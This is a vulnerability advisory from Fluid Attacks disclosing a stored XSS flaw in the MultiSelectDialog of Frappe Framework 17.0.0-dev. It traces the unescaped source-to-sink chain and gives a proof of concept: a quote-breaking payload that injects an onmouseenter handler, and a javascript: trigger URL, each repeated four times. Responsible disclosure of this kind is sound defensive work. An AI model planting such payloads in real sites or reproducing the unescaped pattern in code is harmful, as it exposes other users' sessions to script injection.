Frappe Framework 17.0.0-dev - Stored XSS in Multi Select Dialog result rendering

4.8

Medium

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Oscar Uribe

Summary

Full name

Frappe Framework 17.0.0-dev - Stored XSS in Multi Select Dialog result rendering

Code name

State

Public

Release date

Affected product

Frappe Framework

Vendor

Frappe

Affected version(s)

17.0.0-dev

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

4.8

Exploit available

Yes

Description

A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev due to improper neutralization of user-controlled input in the MultiSelectDialog component. Search results returned from the server are rendered by interpolating raw field values into an HTML template string without adequate escaping or sanitization.

The vulnerable template places field values in both HTML body and attribute contexts, including title, data-item-name, and link href attributes. The resulting markup is parsed through jQuery HTML constructors and appended to the dialog's result list. An attacker with write access to a searchable DocType can store a crafted payload that executes when another user opens the affected dialog.

Vulnerability

Case A: attribute injection from search_widget results into dialog rows

  1. Source persistence: attacker-controlled record fields are stored in DB (validated with Event.subject).

  2. Server propagation: frappe.desk.search.search_widget returns rows from frappe.get_list(..., as_dict=True) with no HTML escaping.

  3. Client interpolation: MultiSelectDialog.make_list_row injects unescaped values in multiple contexts, including:

    • <span class="ellipsis result-row" title="${result[column]}">...

    • <input ... data-item-name="${result.name}">

    • <div ... data-item-name="${result.name}">

  4. Sink: the string is parsed via jQuery $(<div ...>...)me.$results.append(...)

  • Impact: quote-breaking payloads can inject event handlers (onmouseenter, etc.) and execute JavaScript in victim Desk sessions.

Case B

The additional report focused on render_result_list line 517 is the same source→sink chain:

  1. res.message (from frappe.desk.search.search_widget) is iterated in render_result_list.

  2. Each result is passed to make_list_row(result), where unescaped interpolation happens in HTML/attribute contexts.

  3. The generated node is inserted with:

    • me.$results.append(me.make_list_row(result));

  4. This is not a separate CVE; it is the same stored XSS in MultiSelectDialog rendering.

Relevant code:

  • frappe/frappe/public/js/frappe/form/multi_select_dialog.js:454-517

  • frappe/frappe/public/js/frappe/form/multi_select_dialog.js:498-518

  • frappe/frappe/public/js/frappe/form/multi_select_dialog.js:588-595

  • frappe/frappe/desk/search.py:67-252

PoC

URL trigger PoC

  1. Create a record that appears in search_widget results (validated with Event) and set payload in a searchable text field:

MSD-URL-TRIGGER-1773333779839" onmouseenter="alert(document.domain)
MSD-URL-TRIGGER-1773333779839" onmouseenter="alert(document.domain)
MSD-URL-TRIGGER-1773333779839" onmouseenter="alert(document.domain)
MSD-URL-TRIGGER-1773333779839" onmouseenter="alert(document.domain)
  1. Open Desk while authenticated:

http://localhost:18080/desk
http://localhost:18080/desk
http://localhost:18080/desk
http://localhost:18080/desk
  1. In the same tab, execute this URL in the address bar:

javascript:(async()=>{const m='MSD-URL-TRIGGER-1773333779839';new frappe.ui.form.MultiSelectDialog({doctype:'Event',target:cur_frm,setters:{subject:m},action:()=>{}});const t=Date.now();while(Date.now()-t<6000){const r=document.querySelector('.modal.show .result-row[onmouseenter]');if(r){r.dispatchEvent(new MouseEvent('mouseenter',{bubbles:true}));break;}await new Promise(x=>setTimeout(x,200));}})();
javascript:(async()=>{const m='MSD-URL-TRIGGER-1773333779839';new frappe.ui.form.MultiSelectDialog({doctype:'Event',target:cur_frm,setters:{subject:m},action:()=>{}});const t=Date.now();while(Date.now()-t<6000){const r=document.querySelector('.modal.show .result-row[onmouseenter]');if(r){r.dispatchEvent(new MouseEvent('mouseenter',{bubbles:true}));break;}await new Promise(x=>setTimeout(x,200));}})();
javascript:(async()=>{const m='MSD-URL-TRIGGER-1773333779839';new frappe.ui.form.MultiSelectDialog({doctype:'Event',target:cur_frm,setters:{subject:m},action:()=>{}});const t=Date.now();while(Date.now()-t<6000){const r=document.querySelector('.modal.show .result-row[onmouseenter]');if(r){r.dispatchEvent(new MouseEvent('mouseenter',{bubbles:true}));break;}await new Promise(x=>setTimeout(x,200));}})();
javascript:(async()=>{const m='MSD-URL-TRIGGER-1773333779839';new frappe.ui.form.MultiSelectDialog({doctype:'Event',target:cur_frm,setters:{subject:m},action:()=>{}});const t=Date.now();while(Date.now()-t<6000){const r=document.querySelector('.modal.show .result-row[onmouseenter]');if(r){r.dispatchEvent(new MouseEvent('mouseenter',{bubbles:true}));break;}await new Promise(x=>setTimeout(x,200));}})();

Expected result:

  • Browser executes injected JavaScript (alert(document.domain)).

Evidence of Exploitation

  • Static evidence

Our security policy

We have reserved the ID CVE-2026-50708 to refer to this issue from now on.

System Information

  • Frappe Framework

  • Version 17.0.0-dev

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.